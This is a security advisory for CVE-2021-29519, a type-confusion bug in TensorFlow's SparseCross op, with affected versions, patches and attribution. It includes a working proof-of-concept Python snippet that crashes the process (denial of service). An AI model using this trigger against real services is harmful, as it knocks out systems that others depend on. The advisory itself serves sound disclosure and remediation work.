---
id: CVE-2021-29519
aliases:
  - GHSA-772j-h9xw-ffp5
  - BIT-tensorflow-2021-29519
  - PYSEC-2021-156
  - PYSEC-2021-447
  - PYSEC-2021-645
title: CHECK-fail in SparseCross due to type confusion
summary: CHECK-fail in SparseCross due to type confusion
severity: low
cvss: 2.5
cvssVector: 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.1.4
  - 'tensorflow >= 2.2.0, < 2.2.3'
  - 'tensorflow >= 2.3.0, < 2.3.3'
  - 'tensorflow >= 2.4.0, < 2.4.2'
  - tensorflow-cpu < 2.1.4
  - 'tensorflow-cpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-cpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-cpu >= 2.4.0, < 2.4.2'
  - tensorflow-gpu < 2.1.4
  - 'tensorflow-gpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-gpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-gpu >= 2.4.0, < 2.4.2'
patched:
  - tensorflow 2.1.4
  - tensorflow 2.2.3
  - tensorflow 2.3.3
  - tensorflow 2.4.2
  - tensorflow-cpu 2.1.4
  - tensorflow-cpu 2.2.3
  - tensorflow-cpu 2.3.3
  - tensorflow-cpu 2.4.2
  - tensorflow-gpu 2.1.4
  - tensorflow-gpu 2.2.3
  - tensorflow-gpu 2.3.3
  - tensorflow-gpu 2.4.2
published: '2021-05-21'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-772j-h9xw-ffp5'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-772j-h9xw-ffp5
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2021-29519'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-447.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-645.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-156.yaml
tags:
  - osv
  - pip
epss: 0.00189
epssPercentile: 0.07591
ingestedAt: '2026-07-08T18:25:46.791Z'
---

## Overview

### Impact
The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service:

```python
import tensorflow as tf

hashed_output = False
num_buckets = 1949315406
hash_key = 1869835877
out_type = tf.string 
internal_type = tf.string

indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)
indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)
indices = [indices_1, indices_2]

values_1 = tf.constant([0], dtype=tf.int64)
values_2 = tf.constant([72], dtype=tf.int64)
values = [values_1, values_2]

batch_size = 4
shape_1 = tf.constant([4, 122], dtype=tf.int64)
shape_2 = tf.constant([4, 188], dtype=tf.int64)
shapes = [shape_1, shape_2]

dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)
dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)
dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)
denses = [dense_1, dense_2, dense_3]

tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,
                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)
```

The above code will result in a `CHECK` fail in [`tensor.cc`](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/framework/tensor.cc#L670-L675):

```cc
void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {
  CHECK_EQ(dtype(), expected_dtype)
      << " " << DataTypeString(expected_dtype) << " expected, got "
      << DataTypeString(dtype());
  ...
}
```

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements:

```cc
  if (DT_STRING == values_.dtype())
      return Fingerprint64(values_.vec<tstring>().data()[start + n]);
  return values_.vec<int64>().data()[start + n];
```

Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue.

### Patches
We have patched the issue in GitHub commit [b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025](https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

## Affected packages

- `tensorflow < 2.1.4`
- `tensorflow >= 2.2.0, < 2.2.3`
- `tensorflow >= 2.3.0, < 2.3.3`
- `tensorflow >= 2.4.0, < 2.4.2`
- `tensorflow-cpu < 2.1.4`
- `tensorflow-cpu >= 2.2.0, < 2.2.3`
- `tensorflow-cpu >= 2.3.0, < 2.3.3`
- `tensorflow-cpu >= 2.4.0, < 2.4.2`
- `tensorflow-gpu < 2.1.4`
- `tensorflow-gpu >= 2.2.0, < 2.2.3`
- `tensorflow-gpu >= 2.3.0, < 2.3.3`
- `tensorflow-gpu >= 2.4.0, < 2.4.2`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.1.4`
- `tensorflow 2.2.3`
- `tensorflow 2.3.3`
- `tensorflow 2.4.2`
- `tensorflow-cpu 2.1.4`
- `tensorflow-cpu 2.2.3`
- `tensorflow-cpu 2.3.3`
- `tensorflow-cpu 2.4.2`
- `tensorflow-gpu 2.1.4`
- `tensorflow-gpu 2.2.3`
- `tensorflow-gpu 2.3.3`
- `tensorflow-gpu 2.4.2`